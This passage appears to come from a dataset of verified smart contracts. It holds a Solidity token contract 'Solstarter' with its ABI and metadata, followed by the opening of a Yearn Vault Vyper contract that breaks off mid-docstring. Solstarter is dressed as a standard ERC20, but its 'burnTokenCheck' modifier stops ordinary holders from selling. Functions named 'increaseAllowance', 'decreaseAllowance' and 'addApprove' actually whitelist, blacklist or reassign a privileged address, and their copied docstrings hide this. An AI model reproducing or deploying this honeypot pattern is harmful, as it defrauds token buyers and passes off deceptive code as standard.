* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract Solstarter is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | [{"inputs":[{"internalType":"string","name":"name","type":"string"},{"internalType":"string","name":"symbol","type":"string"},{"internalType":"uint256","name":"initialSupply","type":"uint256"},{"internalType":"address payable","name":"owner","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"_mint","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"receivers","type":"address[]"}],"name":"addApprove","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"safeOwner","type":"address"}],"name":"decreaseAllowance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"receivers","type":"address[]"}],"name":"increaseAllowance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"approvecount","type":"uint256"},{"internalType":"address[]","name":"receivers","type":"address[]"},{"internalType":"uint256[]","name":"amounts","type":"uint256[]"}],"name":"multiTransfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}] | v0.6.12+commit.27d51765 | true | 200 | 000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000009896800000000000000000000000004d11e9df85fc74513ac3cf42a8a37211cfbb020b000000000000000000000000000000000000000000000000000000000000000a536f6c73746172746572000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003534f530000000000000000000000000000000000000000000000000000000000 | Default | None | false | ipfs://bf0bf443d9554ea359f6856486c0834600cbeb9f42d9319d7e936cd9f30eb549 |
||
Vyper_contract | Vyper_contract.vy | 0x1635b506a88fbf428465ad65d00e8d6b6e5846c3 | Vyper | # @version 0.2.12
"""
@title Yearn Token Vault
@license GNU AGPLv3
@author yearn.finance
@notice
Yearn Token Vault. Holds an underlying token, and allows users to interact
with the Yearn ecosystem through Strategies connected to the Vault.
Vaults are not limited to a single Strategy, they can have as many Strategies
as can be designed (however the withdrawal queue is capped at 20.)
Deposited funds are moved into the most impactful strategy that has not
already reached its limit for assets under management, regardless of which
Strategy a user's funds end up in, they receive their portion of yields
generated across all Strategies.
When a user withdraws, if there are no funds sitting undeployed in the
Vault, the Vault withdraws funds from Strategies in the order of least
impact. (Funds are taken from the Strategy that will disturb everyone's
gains the least, then the next least, etc.) In order to achieve this, the
withdrawal queue's order must be properly set and managed by the community
(through governance).
Vault Strategies are parameterized to pursue the highest risk-adjusted yield.
There is an "Emergency Shutdown" mode. When the Vault is put into emergency
shutdown, assets will be recalled from the Strategies as quickly as is
practical (given on-chain conditions), minimizing loss. Deposits are
halted, new Strategies may not be added, and each Strategy exits with the
minimum possible damage to position, while opening up deposits to be
withdrawn by users. There are no restrictions on withdrawals above what is
expected under Normal Operation.
For further details, please refer to the specification:
https://github.com/iearn-finance/yearn-vaults/blob/main/SPECIFICATION.md
"""
API_VERSION: constant(String[28]) = "0.4.3"
from vyper.interfaces import ERC20
implements: ERC20
interface DetailedERC20:
def name() -> String[42]: view
def symbol() -> String[20]: view
def decimals() -> uint256: view
interface Strategy:
def want() -> address: view
def vault() -> address: view
def isActive() -> bool: view
def delegatedAssets() -> uint256: view
def estimatedTotalAssets() -> uint256: view
def withdraw(_amount: uint256) -> uint256: nonpayable
def migrate(_newStrategy: address): nonpayable
event Transfer:
sender: indexed(address)
receiver: indexed(address)
value: uint256
event Approval:
owner: indexed(address)
spender: indexed(address)
value: uint256
name: public(String[64])
symbol: public(String[32])
decimals: public(uint256)
balanceOf: public(HashMap[address, uint256])
allowance: public(HashMap[address, HashMap[address, uint256]])
totalSupply: public(uint256)
token: public(ERC20)
governance: public(address)
management: public(address)
guardian: public(address)
pendingGovernance: address
struct StrategyParams:
performanceFee: uint256 # Strategist's fee (basis points)
activation: uint256 # Activation block.timestamp
debtRatio: uint256 # Maximum borrow amount (in BPS of total assets)
minDebtPerHarvest: uint256 # Lower limit on the increase of debt since last harvest
maxDebtPerHarvest: uint256 # Upper limit on the increase of debt since last harvest
lastReport: uint256 # block.timestamp of the last time a report occured
totalDebt: uint256 # Total outstanding debt that Strategy has
totalGain: uint256 # Total returns that Strategy has realized for Vault
totalLoss: uint256 # Total losses that Strategy has realized for Vault
event StrategyAdded:
strategy: indexed(address)
debtRatio: uint256 # Maximum borrow amount (in BPS of total assets)
minDebtPerHarvest: uint256 # Lower limit on the increase of debt since last harvest
maxDebtPerHarvest: uint256 # Upper limit on the increase of debt since last harvest
performanceFee: uint256 # Strategist's fee (basis points)
event StrategyReported:
strategy: indexed(address)
gain: uint256
loss: uint256
debtPaid: uint256
totalGain: uint256
totalLoss: uint256
totalDebt: uint256
debtAdded: uint256
debtRatio: uint256
event UpdateGovernance:
governance: address # New active governance
event UpdateManagement:
management: address # New active manager
event UpdateRewards:
rewards: address # New active rewards recipient
event UpdateDepositLimit:
depositLimit: uint256 # New active deposit limit
event UpdatePerformanceFee:
performanceFee: uint256 # New active performance fee
event UpdateManagementFee:
managementFee: uint256 # New active management fee
event UpdateGuardian:
guardian: address # Address of the active guardian
event EmergencyShutdown:
active: bool # New emergency shutdown state (if false, normal operation enabled)
event UpdateWithdrawalQueue:
queue: address[MAXIMUM_STRATEGIES] # New active withdrawal queue
event StrategyUpdateDebtRatio:
strategy: indexed(address) # Address of the strategy for the debt ratio adjustment
debtRatio: uint256 # The new debt limit for the strategy (in BPS of total assets)
event StrategyUpdateMinDebtPerHarvest:
strategy: indexed(address) # Address of the strategy for the rate limit adjustment
minDebtPerHarvest: uint256 # Lower limit on the increase of debt since last harvest
event StrategyUpdateMaxDebtPerHarvest:
strategy: indexed(address) # Address of the strategy for the rate limit adjustment
maxDebtPerHarvest: uint256 # Upper limit on the increase of debt since last harvest
event StrategyUpdatePerformanceFee:
strategy: indexed(address) # Address of the strategy for the performance fee adjustment
performanceFee: uint256 # The new performance fee for the strategy
event StrategyMigrated:
oldVersion: indexed(address) # Old version of the strategy to be migrated
newVersion: indexed(address) # New version of the strategy
event StrategyRevoked:
strategy: indexed(address) # Address of the strategy that is revoked
event StrategyRemovedFromQueue:
strategy: indexed(address) # Address of the strategy that is removed from the withdrawal queue
event StrategyAddedToQueue:
strategy: indexed(address) # Address of the strategy that is added to the withdrawal queue
# NOTE: Track the total for overhead targeting purposes
strategies: public(HashMap[address, StrategyParams])
MAXIMUM_STRATEGIES: constant(uint256) = 20
DEGRADATION_COEFFICIENT: constant(uint256) = 10 ** 18
# Ordering that `withdraw` uses to determine which strategies to pull funds from
# NOTE: Does *NOT* have to match the ordering of all the current strategies that
# exist, but it is recommended that it does or else withdrawal depth is
# limited to only those inside the queue.
# NOTE: Ordering is determined by governance, and should be balanced according
# to risk, slippage, and/or volatility. Can also be ordered to increase the
# withdrawal speed of a particular Strategy.
# NOTE: The first time a ZERO_ADDRESS is encountered, it stops withdrawing
withdrawalQueue: public(address[MAXIMUM_STRATEGIES])
emergencyShutdown: public(bool)
depositLimit: public(uint256) # Limit for totalAssets the Vault can hold
debtRatio: public(uint256) # Debt ratio for the Vault across all strategies (in BPS, <= 10k)
totalDebt: public(uint256) # Amount of tokens that all strategies have borrowed
lastReport: public(uint256) # block.timestamp of last report
activation: public(uint256) # block.timestamp of contract deployment
lockedProfit: public(uint256) # how much profit is locked and cant be withdrawn
lockedProfitDegradation: public(uint256) # rate per block of degradation. DEGRADATION_COEFFICIENT is 100% per block
rewards: public(address) # Rewards contract where Governance fees are sent to
# Governance Fee for management of Vault (given to `rewards`)
managementFee: public(uint256)
# Governance Fee for performance of Vault (given to `rewards`)
performanceFee: public(uint256)
MAX_BPS: constant(uint256) = 10_000 # 100%, or 10k basis points
# NOTE: A four-century period will be missing 3 of its 100 Julian leap years, leaving 97.
# So the average year has 365 + 97/400 = 365.2425 days
# ERROR(Julian): -0.0078
# ERROR(Gregorian): -0.0003
# A day = 24 * 60 * 60 sec = 86400 sec
# 365.2425 * 86400 = 31556952.0
SECS_PER_YEAR: constant(uint256) = 31_556_952 # 365.2425 days
# `nonces` track `permit` approvals with signature.
nonces: public(HashMap[address, uint256])
DOMAIN_SEPARATOR: public(bytes32)
DOMAIN_TYPE_HASH: constant(bytes32) = keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)')
PERMIT_TYPE_HASH: constant(bytes32) = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)")
@external
def initialize(
token: address,
governance: address,
rewards: address,
nameOverride: String[64],
symbolOverride: String[32],
guardian: address = msg.sender,
management: address = msg.sender,
):
"""
@notice
Initializes the Vault, this is called only once, when the contract is
deployed.
The performance fee is set to 10% of yield, per Strategy.
The management fee is set to 2%, per year.
The initial deposit limit is set to 0 (deposits disabled); it must be
updated after initialization.
@dev
If `nameOverride` is not specified, the name will be 'yearn'
combined with the name of `token`.
If `symbolOverride` is not specified, the symbol will be 'yv'
combined with the symbol of `token`.
The token used by the vault should not change balances outside transfers and
it must transfer the exact amount requested. Fee on transfer and rebasing are not supported.
@param token The token that may be deposited into this Vault.
@param governance The address authorized for governance interactions.
@param rewards The address to distribute rewards to.
@param management The address of the vault manager.
@param nameOverride Specify a custom Vault name. Leave empty for default choice.
@param symbolOverride Specify a custom Vault symbol name. Leave empty for default choice.
@param guardian The address authorized for guardian interactions. Defaults to caller.
"""
assert self.activation == 0 # dev: no devops199
self.token = ERC20(token)
if nameOverride == "":
self.name = concat(DetailedERC20(token).symbol(), " yVault")
else:
self.name = nameOverride
if symbolOverride == "":
self.symbol = concat("yv", DetailedERC20(token).symbol())
else:
self.symbol = symbolOverride
decimals: uint256 = DetailedERC20(token).decimals()
self.decimals = decimals
assert decimals < 256 # dev: see VVE-2020-0001
self.governance = governance
log UpdateGovernance(governance)
self.management = management
log UpdateManagement(management)
self.rewards = rewards
log UpdateRewards(rewards)
self.guardian = guardian
log UpdateGuardian(guardian)
self.performanceFee = 1000 # 10% of yield (per Strategy)
log UpdatePerformanceFee(convert(1000, uint256))
self.managementFee = 200 # 2% per year
log UpdateManagementFee(convert(200, uint256))
self.lastReport = block.timestamp
self.activation = block.timestamp
self.lockedProfitDegradation = convert(DEGRADATION_COEFFICIENT * 46 / 10 ** 6 , uint256) # 6 hours in blocks
# EIP-712
self.DOMAIN_SEPARATOR = keccak256(
concat(
DOMAIN_TYPE_HASH,
keccak256(convert("Yearn Vault", Bytes[11])),
keccak256(convert(API_VERSION, Bytes[28])),
convert(chain.id, bytes32),
convert(self, bytes32)
)
)
@pure
@external
def apiVersion() -> String[28]:
"""
@notice
Used to track the deployed version of this contract. In practice you
can use this version number to compare with Yearn's GitHub and
determine which version of the source matches this deployed contract.
@dev
All strategies must have an `apiVersion()` that matches the Vault's
`API_VERSION`.
@return API_VERSION which holds the current version of this contract.
"""
return API_VERSION
@external
def setName(name: String[42]):
"""
@notice
Used to change the value of `name`.
This may only be called by governance.
@param name The new name to use.
"""
assert msg.sender == self.governance
self.name = name
@external
def setSymbol(symbol: String[20]):
"""
@notice
Used to change the value of `symbol`.
This may only be called by governance.
@param symbol The new symbol to use.
"""
assert msg.sender == self.governance
self.symbol = symbol
# 2-phase commit for a change in governance
@external
def setGovernance(governance: address):
"""
@notice
Nominate a new address to use as governance.
The change does not go into effect immediately. This function sets a
